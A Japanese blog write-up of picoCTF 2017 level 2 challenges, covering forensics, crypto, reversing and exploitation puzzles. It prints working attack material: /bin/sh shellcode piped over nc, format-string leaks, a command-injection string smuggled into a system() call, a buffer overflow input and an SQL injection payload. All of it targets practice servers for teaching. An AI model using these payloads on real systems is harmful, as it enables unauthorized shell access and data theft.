LoginSignup
0
1

More than 5 years have passed since last update.

picoCTF 2017 level2 write up

Last updated at Posted at 2018-07-14

picoCTF という初心者向けのCTFのwrite up

level2になって難しくなってきた。

MISC

Yarn

I was told to use the linux strings command on yarn, but it doesn't work. Can you help? I lost the flag in the binary somewhere, and would like it back

Strings コマンドをyarn というファイルに使えと言われたが、上手くいかない、助けてくれ、とのこと。

このファイルにflagの文字列が入っているらしい。

Strings コマンドは -n オプションで抽出する文字列の最低長を指定でき、デフォルトでは4文字になっている。

つまり、デフォルトでは3文字以下の文字列は抽出されない。

よって、strings -n 3 yarn でflagゲット。

Mystery Box

You've found a mystery machine with a sticky note attached to it! Oh, there's also this picture of the machine you found.

note には謎の文字列が書いてあり、picture には謎のマシンが描かれている。

とりあえず画像をgoogleの画像検索にかけると、enigma 1939 がヒット。

どうやらenigma 暗号という、ドイツの暗号らしい。謎の文字列もドイツ語のようだ。

文字列をgoogle翻訳にかけるとそれっぽい情報が得られた。

秘密:PXQQ TAMY YDBC WGYE LVN
リバースローラー:B
基本的な位置:PPP
リングの位置:LOG
プラグボード:G-L、H-F

デコーダもネットに転がっていた ので、これを使った。

DECODE をクリックして、CiphertextPXQQ TAMY YDBC WGYE LVN を入力。

ROTOR1 を I ROTOR 2 を II ROTOR 3 をIII にして、

POSITION は数字は1~26だったのでアルファベットに対応していると判断。

問題のnote よりPPPらしいので3つとも17に設定。

RING もLOGに合わせてそれぞれ数値を設定。

REFLECTOR はリバースローラーのようなので、B

PLUGBOARDgl hf と入力してフラグゲット!

BINARY EXPLOITATION

Shellz

You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:38782.

ソースコードはよくわからないが、どうやらシェルコード を送り込め、ということらしい。

シェルコードは、ざっくり言えばシェルを起動するための機械語のコードである。

シェルコードなんていくらでもある、とヒントには書いているのでググったら、ももいろテクノロジー さんのところにあった。

"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

これをパイプでnc shell2017.picoctf.com 38782 に渡してあげれば良いのだが、シェルを起動した後にコマンドを打ち込む必要がある。

これをするには、cat コマンドと ハイフンを使った便利な標準入出力指定でのコマンドライン を用いる。

cat - 

これを実行すると、入力した文字がそのまま出力される。

よって、echo -e で送信したのち、cat - を実行することで、シェルを操作できる。echo-e は16進数を\x31 のようなエスケープ文字を変換するためのオプションである。

() も必須である。これがないと、echo の実行が先にされ、その後cat - | nc の部分が実行されるため、シェルコードがnc に渡されない。

(echo -e "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" ; cat -) | nc shell2017.picoctf.com 38782

Shells

How much can a couple bytes do? Use shells! Source. Connect on shell2017.picoctf.com:63545.

急にレベルが上がった気がする。

今回もシェルコード。今回は10バイトしか送れないため、工夫が必要である。

ここで、ソースコードを見て見ると、win という関数を実行すれば良さそうである。

まず、win のアドレスを調べる必要がある。

linux環境でgdb で調べれば良い。使い方

p 関数名 とすると、関数のアドレスがわかる。

gdb shells
(gdb) p win

これにより、win 関数の開始アドレスが0x08048540 だということがわかる。

あとは、シェルコードを書けば 良い。

まずcall 0x08048540 という命令が思い浮かぶが、call 関数は相対アドレスで呼び出すため、これではうまくいかない。

そこで、ret 関数を使う。

Guess The Number

Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:20446.

ソースコードを見てみる。

scanf("%32s", buf);
val = strtol(buf, NULL, 10);

printf("You entered %d. Let's see if it was right...\n", val);

val >>= 4;
((void (*)(void))val)();

入力した数値をstrtol 関数に渡して、4bit右シフトした後 、そのアドレスの関数を実行している。

この4bitシフトに全然気づかず時間溶かした、、。

strtol 関数は、文字列をlong型に変換する関数らしい。

最後の((void (*)(void))val)(); がややこしい。

まずvoid (*)(void) だが、(*) は関数へのポインタを表しその関数は(void) を引数にとり、返り値がvoid ということらしい。

(void (*)(void))valval を先の関数へのポインタ 型にキャストし、最後の()で関数を実行している。

今回もwin 関数があるので、そのアドレスをval に設定すれば良さそうである。

win 関数のアドレスを先の問題と同じように求めると、0x804852b であるので、これを4bit左シフト(0x804852b0 )して10進数に直した数値を入力してみる。

echo $((0x804852b << 4))  #2147483647

しかし、うまくいかない。

gdbでデバッグしてみる。

入力した値は4bit右シフトし、eax レジスタに格納されているので、i r コマンドでレジスタを見る。

gdb guess_num
(gdb) run
(gdb) 2147483647
(gdb) i r

eax レジスタの値は0x7ffffff となっている。

これは、long 型は符号付きであるため、最上位ビットは符号に使われ、

0x7fffffff までしか扱えないためである。

ここで、ヒントに書いてあるように、負の数を入力すれば、0x804852b0 という値にすることができる。

そのためには、0x100000000 を引けば良い。

echo $((0x804852b0 - 0x100000000))  # -2142743888

この値を入力すれば、無事シェルが起動し、cat flag.txt でクリア。

Ive Got A Secret

Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:39169.

FSA(Format String Attack) の問題。

ソースを見て見ると、このプログラムは以下のような動きをしている。

  1. /dev/urandom から乱数を読み出し、secret に代入
  2. ユーザからの入力を受け付け、そのまま出力
  3. ユーザからの入力を受け付け、secret と等しければflag を表示

/dev/urandom は乱数を取得するために使えるらしい。(https://ja.wikipedia.org/wiki//dev/random)

この2 の手順において、FSAが使えるため、ここでsecret の中身を表示させれば良い。

stackの構成を見るため、gdb-peda を用いる。

gdb-pedaはgdbの拡張で、様々な便利機能が使える。

(gdb-peda) disas main でアセンブリ言語を見ると、0x080486a3 <+184>: call 0x8048470 <fgets@plt> の行で、一度目の入力を行い、0x080486b3 <+200>: call 0x8048450 <printf@plt> の行でその内容を出力している。

Dump of assembler code for function main:
   0x080485eb <+0>: lea    ecx,[esp+0x4]
   0x080485ef <+4>: and    esp,0xfffffff0
   0x080485f2 <+7>: push   DWORD PTR [ecx-0x4]
   0x080485f5 <+10>:    push   ebp
   .
   .
   .
   0x08048693 <+168>:   mov    eax,ds:0x8049b00
   0x08048698 <+173>:   sub    esp,0x4
   0x0804869b <+176>:   push   eax
   0x0804869c <+177>:   push   0x40
   0x0804869e <+179>:   push   0x8049b40
   0x080486a3 <+184>:   call   0x8048470 <fgets@plt>
   0x080486a8 <+189>:   add    esp,0x10

   0x080486ab <+192>:   sub    esp,0xc
   0x080486ae <+195>:   push   0x8049b40
   0x080486b3 <+200>:   call   0x8048450 <printf@plt>
   0x080486b8 <+205>:   add    esp,0x10

ここで%x,%x,%x,... のようなFSAを行うと、スタックの2番目、3番目、... の値が表示される。

また、secretread 関数の第二引数を見ればスタックのどのアドレスに格納されているかがわかる。

read(fd, &secret, sizeof(int))
   0x08048634 <+73>:    push   0x4
   0x08048636 <+75>:    lea    eax,[ebp-0x10]
   0x08048639 <+78>:    push   eax
   0x0804863a <+79>:    push   DWORD PTR [ebp-0xc]
   0x0804863d <+82>:    call   0x8048440 <read@plt>
   0x08048642 <+87>:    add    esp,0x10

引数はcall 命令の前に第3引数-> 第2引数-> 第1引数の順でpush されるので、第二引数はeax つまりその前でlea 命令でアドレスを計算している ebp-0x10secret が格納されているアドレスとなる。

このebb-0x10printf 関数の実行時にスタックの何番目にあたるか調べる。

gdb-pedaでstart したあとにb *0x080486b3 とブレークポイントを仕掛け、c コマンドを使うことで、そのアドレスまで実行できる。

printf 関数まで実行する前に、fgets 関数が実行されるので、入力を求められる。

ここでは、%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x とFSAを仕掛けて見る。

この状態で、stack n とコマンドを入力することで、n個のスタックの中身を見ることができる。

stack 11 とすると、以下のようなスタックの状態となっている。

0000| 0xbffffb30 --> 0x8049b40 ("%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x\n")
0004| 0xbffffb34 --> 0x40 ('@')
0008| 0xbffffb38 --> 0xb7fc55c0 --> 0xfbad2288
0012| 0xbffffb3c --> 0x8048792 (<__libc_csu_init+82>:   add    edi,0x1)
0016| 0xbffffb40 --> 0x1
0020| 0xbffffb44 --> 0xbffffc04 --> 0xbffffd21 ("/home/vagrant/work/picoctf/level2/secret")
0024| 0xbffffb48 --> 0xf3903136
0028| 0xbffffb4c --> 0x3
0032| 0xbffffb50 --> 0xb7fe79a0 (<_dl_fini>:    push   ebp)
0036| 0xbffffb54 --> 0xbffffb70 --> 0x1
0040| 0xbffffb58 --> 0x0

0xbffffb30 がスタックの1番目であり、ebp-0x10 ( = 0xbffffb48) はスタックの7番目であることがわかる。

つまり、%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x と入力した場合、スタックの2番目以降の内容が順に表示されるので、6番目に表示される内容がsecret に一致する。

実際、そのままgdb-pedaでni コマンドでprintf 文を実行させるとスタックの2番目以降の値が表示されているのが分かる。

これで攻撃手法がわかったので、あとはnc コマンドののち、%x,%x,%x,%x,%x,%x と打ち込んで表示される6番目の値を入力すればflagゲット。

Flagsay 1

I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:20230.

ソースコードを見てみる。

  1. ユーザの入力を受け付ける
  2. 旗の形のアスキーアートの文字列flag に対し、旗の内側にユーザの入力した文字列を埋め込む
  3. /bin/echo flag を実行

といった内容である。

プログラムでsystem を実行してくれているので、/bin/sh を実行できれば勝ちである。

3 の実行する部分をよく見て見ると、"/bin/echo \"%s\"\n" という文字列の%sflag に置き換わった文字列が実行されている。

";/bin/sh #という文字列を入力してあげれば、flag は以下のようになり、# 以降はコメントとして無視されるため、/bin/echo " _ //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ //";bin/sh # ... という実行になり、シェルが起動する。

                             _                                        
                            //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~     
                           //";bin/sh #                         /     
                          //                                   /      
                         //                                   /       
                        //                                   /        
                       //                                   /         
                      //                                   /          
                     //___________________________________/           
                    //                                                
                   //                                                 
                  //                                                  
                 //                                                   
                //                                                    
               //                                                     

あとはいつも通りcat flag.txt でクリア。

VR Gear Console

Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/5206d6e095708fbcc2dfa33cd2a8b819

バッファオーバーフローの問題。

cat vrgearconsole.c でソースコードを見てみると、login() 関数内で、gets 関数でユーザの入力を受け取る際に文字数のチェックをしていないので、オーバーフローが起こせる。

username の直前にaccesslevel が宣言されているので、メモリ上ではusername の直後にaccesslevel が存在しており、usernameのオーバーフロー分がそのままaccesslevel を書き換えることになる。

ここでは、accesslevel < 0x30 であればシェルを起動してくれるので、ASCIIコードが0x30 より小さい文字列をオーバーフローさせれば良い。

!"#$%&'() などの文字列がそれにあたるので、usernameaaaaaaaaaaaaaaaa! などと入力し、適当なpassword を入力すればシェルを起動できる。

WEB EXPLOITATION

My First SQL

I really need access to website, but I forgot my password and there is no reset. Can you help?

SQLインジェクション。

username に' と打ち込むと、親切にクエリ文を表示してくれる。

以下のコマンドでOK

' or 1=1 -- 

TW_GR_E1_ART

Oh, sweet, they made a spinoff game to Toaster Wars! That last room has a lot of flags in it though. I wonder which is the right one...? Check it out here.

ソースコードが見れてしまうため、チートができるよって話。

node.jsではpackage.jsondependencies やスタートコマンドが記述されているらしい。

そこで、問題のURLの後に/package.json を追記すると、ファイルが見れる。

どうやらserver/serv.js が起動用のjsのようである。

そこで、URLに今度は /server/serv.js を追記して見てみる。

require("./game")(app, io); と記述してあるので、server/game.js がメインのjsらしい。

server/game.js のソースコードでflag を検索すると、以下のような箇所があり、

どうやらitem のeffect.type が revealFlagcheck == 64 の時にフラグが表示されるようである。

    for(var i = 0; i < entity.items[action.item].effects.length; i++){
        var effect = entity.items[action.item].effects[i];
        var outcome = {
            type: effect.type,
            entity: {
                id: entity.id,
                name: entity.name
            }
        };
        switch(effect.type){

        .
        .
        .


            case "revealFlag":
                if (entity.items[action.item].effects[i].check == 64) {
                    outcome.flag = process.env["PICO_CTF_FLAG"];
                }
                break;
        }

このrevealFlag を他のスクリプトで探していると、config.js で発見。

createFlag 関数の第一引数が check のようなので、createFlag 関数の第一引数に64を与えているところをみれば良い。

function createFlag(check, location) {
    return {
        name: "Flag",
        description: "Gives you the flag... maybe.",
        location: location,
        use: 0,
        id: check + 100,
        sprite: "flag",
        effects: [
            {
                type: "revealFlag",
                check: check
            },
            {
                type: "destroyItems"
            }
        ]
    };
}

createFlag 関数を呼び出しているのは以下の箇所。

第一引数に64を与えている時、r = 13, c = 5 となる。

このr, c はどうやら4階でのマップでの座標のようなので、4階まで進み、その座標のflagを取って使用すれば良い。

                items: Array.from(new Array(83), (_, idx) => {
                    if (idx >= 2) {
                        idx++
                    }

                    if (idx >= 77) {
                        idx++;
                    }

                    var r = Math.floor(idx / 5) + 1;
                    var c = (idx % 5) + 1;

                    return createFlag(idx, { r: r, c: c });
                }),

TW_GR_E2_EoTDS

Given the relative success of the first release, it was no surprise that a second installment in the TW:GR series was released. I can't beat this one either, though... those darn spatulas put an induction cooktop in the floor so I can't get to the flag! Can you get it for me? You can play the game here.

これだけ解けん。

前の問題同様、ソースコードを見て解析するようなのだが、、。

前の問題同様、4階にフラグがあるが、壁があってフラグにたどり着くことができない。

代わりに、渦巻きのマスを通過できる敵をフラグまでたどり着かせ、その後敵を倒せばフラグが手に入るらしい。

ai.js に敵の動きがコーディングされているので、それを解析して敵の動きをコントロールしろ、ということだ。

このコントロールが、どうすればいいか全然わからない。

1回たまたまうまく行ったが、敵を倒す前に時間切れになってしまった、、。

REVERSE ENGINEERING

A Thing Called the Stack

A friend was stacking dinner plates, and handed you this, saying something about a "stack". Can you find the difference between the value of esp at the end of the code, and the location of the saved return address? Assume a 32 bit system. Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

プログラムの最後の行でのスタックの位置(esp)とreturn アドレスが格納されているアドレスとの差を答えよ、という問題。

foo:
    pushl %ebp
    mov %esp, %ebp
    pushl %edi
    pushl %esi
    pushl %ebx
    sub $0x12c, %esp
    movl $0x1, (%esp)
    movl $0x2, 0x4(%esp)
    movl $0x3, 0x8(%esp)
    movl $0x4, 0xc(%esp)

このfoo 関数の1行目の時点では、リターンアドレスがスタックの一番上にあり、そこからpush のたびに4ビットずつスタックのアドレスは減っていくので、以下の4つのpush 命令で4 * 4 = 0x10 の減少。

pushl %ebp 
mov %esp, %ebp 
pushl %edi 
pushl %esi 
pushl %ebx

さらに、sub $0x12c, %esp の命令で0x12c 減少しているので、この合計がflag。

Programmers Assemble

You found a text file with some really low level code. Some value at the beginning has been X'ed out. Can you figure out what should be there, to make main return the value 0x1? Submit the answer as a hexidecimal number, with no extraneous 0s. For example, the decimal number 2015 would be submitted as 0x7df, not 0x000007df

.global main

main:
    mov $XXXXXXX, %eax
    mov $0, %ebx
    mov $0x5, %ecx
loop:
    test %eax, %eax
    jz fin
    add %ecx, %ebx
    dec %eax
    jmp loop
fin:
    cmp $0x7ee0, %ebx
    je good
    mov $0, %eax
    jmp end
good:
    mov $1, %eax
end:
    ret

このプログラムが、return 1 となるようにXXXXXXX に数字を入れてくれ、とのこと。

返り値はeax に格納されるので、good にジャンプするようにすれば良さそうである。

fin を見てみると、ebx0x7ee0 に等しければgood に飛び、等しくなければeax = 0 としてend に飛んでいる。

fin:
    cmp $0x7ee0, %ebx
    je good
    mov $0, %eax
    jmp end

よってその前の部分でebx0x7ee0 にすれば良さそうだ。

loop を見ると、eax を1ずつ引いてeax が0になるまでループさせ、ループの度にebx からecx を引いている。

test eax, eaxjzとセットで、eax が0 の時のみjz でジャンプする、という命令である。

main を見ると、ebx = 0 , ecx = 0x5 と設定しているので、ループは0x7ee0 / 0x5 回まわせば良い。

Cryptography

SoRandom

We found sorandom.py running at shell2017.picoctf.com:19789. It seems to be outputting the flag but randomizing all the characters first. Is there anyway to get back the original flag?

乱数の種の話。

一般的なプログラミング言語では、同じ種で初期化を行えば、同じ乱数列を発生する。

今回の問題では乱数を用いてflagを暗号化しているが、その種がわかっている(random.seed("random") )ので、同じ乱数を再現できる

#!/usr/bin/python -u
import random,string

flag = "FLAG:"+open("flag", "r").read()[:-1]
encflag = ""
random.seed("random")
for c in flag:
  if c.islower():
    #rotate number around alphabet a random amount
    encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a'))
  elif c.isupper():
    encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A'))
  elif c.isdigit():
    encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0'))
  else:
    encflag += c
print "Unguessably Randomized Flag: "+encflag

乱数を加えて、文字列をずらしているので、+random.randrange-random.randrange に置き換えれば良い 。

flag の中身("FLAG:"+open("flag", "r").read()[:-1] ) を"BNZQ:4pg33e44sdu4wu8198y15q685vpx8041" に変えて、元のコードを再び実行すればflagゲット。

LeakedHashes

Someone got hacked! Check out some service's password hashes that were leaked at hashdump.txt! Do you think they chose strong passwords? We should check... The service is running at shell2017.picoctf.com:4534!

MD5 の話。

MD5のデコーダ にパスワードのハッシュをぶち込んだら、何個かデコードできるのがある。

そのパスワードでログインすればOK。

Weird RSA

We recovered some data. It was labeled as RSA, but what in the world are "dq" and "dp"? Can you decrypt the ciphertext for us?

RSA-CRTというやつの話。

CRTというのは中国剰余定理というものらしく、RSAの計算の簡単に使えるらしい。

秘密鍵として、$d_q, d_p, qinv$ を持っておくことで、以下の式で暗号文cから平文mを復元できるらしい。参考

$m \equiv c^{d_q} + (c^{d_p}-c^{d_q})×qinv×q\pmod{pq}$

今回の問題では、qinv は与えられていないが、$qinv = q^{-1}\mod p$ なので求めることができる。

import gmpy2
from Crypto.Util.number import long_to_bytes

def decrypt(c, p, q, dp, dq):
    qinv = gmpy2.invert(q, p)
    m1 = pow(c, dp, p)
    m2 = pow(c, dq, q)
    h = (qinv * (m1 - m2)) % p
    m = m2 + h * q
    return long_to_bytes(m)

平文m はlong_to_bytes で文字列に復号できる。

Forensics

Meta Find Me

Find the location of the flag in the image: image.jpg. Note: Latitude and longitude values are in degrees with no degree symbols,/direction letters, minutes, seconds, or periods. They should only be digits. The flag is not just a set of coordinates - if you think that, keep looking!

exifの問題。

jpgにはexif情報というのがついていることがあり、撮影場所のGPS情報など諸々の情報が得られる。

exif確認くん というツールで見れたりするが、今回はうまく使えなかったので、

exiftool をmacに導入した。

brew install exiftoolexiftool image.jpg すれば見れる。

flag is not just a set of coordinates らしく、 keep looking ということなので、exif情報を全部眺めていくと、

comment の部分にflagのフォーマットが書いてあるので、それに座標を当てはめれば良い。

Little School Bus

Can you help me find the data in this littleschoolbus.bmp?

むずくね?

タイトルからLSBを連想しろということらしい。ヒントにleast significant bit と書いてあるけど。

バイナリファイルの扱い:https://trailofbits.github.io/ctf/forensics/ より引用


Writing or reading a file in binary mode:

f = open('Reverseit', "rb")
s = f.read()
f.close()
f = open('ItsReversed', "wb")
f.write(s[::-1])
f.close()

The bytearray type is a mutable sequence of bytes, and is available in both Python 2 and 3:

>>> s = bytearray(b"Hello World")
>>> for c in s: print(c)
...
72
101
108
108
111
32
87
111
114
108
100
>>>

You can also define a bytearray from hexidecimal representation Unicode strings:

example2 = bytearray.fromhex(u'00 ff')
>>> example2
bytearray(b'\x00\xff')
>>> example2[1]
255

The bytearray type has most of the same convenient methods as a Python str or list: split(), insert(), reverse(), extend(), pop(), remove(), etc.

Reading a file into a bytearray for processing:

data = bytearray(open('challenge.png', 'rb').read())

ということで、data = bytearray(open('littleschoolbus.bmp', 'rb').read()) でバイナリとして画像を読み込む。

LSBを抽出するということは、バイトごとに1と& をとれば良い。

data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data:
    lsb += str(byte & 1)

これで2進数の数列が得られるので、1バイト(8bit)ごとに文字列に変換する。

lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
    out += chr(int(byte, 2))
print(out)

しかし、うまくいかない。

どうやら、ファイルのヘッダ部分の54バイトはデータではないので、バイナリから取り除く必要があるらしい。

LSBを抽出しているfor byte in data:for byte in data[54:] として、ヘッダ部分を削る。

data = bytearray(open('littleschoolbus.bmp', 'rb').read())
lsb = ''
for byte in data[54:]:
    lsb += str(byte & 1)
lsb_bytes = [lsb[i:i+8] for i in range(0, len(lsb), 8)]
out = ''
for byte in lsb_bytes:
    out += chr(int(byte, 2))
print(out)

これでflagゲット。

Just Keyp Trying

Here's an interesting capture of some data. But what exactly is this data? Take a look: data.pcap

これ初見の人は無理じゃね。キーボードのUSB転送のプロトコルとかわからんくね。

セキュリティコンテストのためのctf問題集 の問題8と同じような問題なので、同じコードを使えば解ける。

from scapy.all import *

keymap = {
    0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
    0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
    0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
    0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
    0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
    0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
    0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
    0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
    0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
    0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
    0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
    0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
    0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'), 0x2a: ('\x08', '\x08'),
    0x2b: ('\x09', '\x09'), 0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
    0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
    0x31: ('\\', '|'), 0x32: (';', ':'), 0x33: ("\'", '\"'),
    0x34: ('`', '~'), 0x35: (',', '<'), 0x36: ('.', '>'),
    0x37: ('/', '?'), 0x38: ('/', '?')
}

def read_usbdata_from_pcap():
    pcap = rdpcap("data.pcap")
    usb_data = []
    for pkt in pcap:
        buf = pkt['Raw'].load
        usb_data.append(buf[27:])
    return usb_data

def analyze_usb_data(usb_data): 
    flag = ""
    for d in usb_data:
        if d[2] == 0x00 or not 0x00 in d[3:8]:
            # No event
            continue
        if d[0] == 0x02 or d[0] == 0x20:
            # press shift-key
            # binary -> int
            c = keymap[d[2]][1]
            flag += c
        else:
            # not press shift-key
            # binary -> int
            c = keymap[d[2]][0]
            flag += c
    print(flag)

def main():
    data = read_usbdata_from_pcap()
    analyze_usb_data(data)

if __name__ == '__main__':
    main()

MASTER CHALLENGE

Missing Identity

Turns out, some of the files back from Master Challenge 1 were corrupted. Restore this one file and find the flag. Update 16:26 EST 1 Apr If you feel that you are close, make a private piazza post with what you have, and an admin will help out. The flag starts with the character z.

forensicsの問題。

fileが与えられる。

とりあえずfile コマンドで見てみるも、data としかわからない。

strings コマンドを使うと、.png という文字が何個か見える。

複数のファイルが含まれていそうなので、binwalk をかけてみると、zip ファイルであることが分かる。

バイナリエディタでファイルを開くと、ファイルの戦闘部分がXXXXXX となっており、これを適切な値にしろ、ということが分かる。

この前のbeginners seccon 2018 にもあったな。

zip ファイルのマジックナンバーに合わせて 50 4b 03 04 0a 00 に書き換えればzipファイルになるので、

拡張子をzipに変更して解凍すれば、flag.pngに答えが書いてある。

mac ユーザーなのでバイナリエディタはhexedit を使った。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1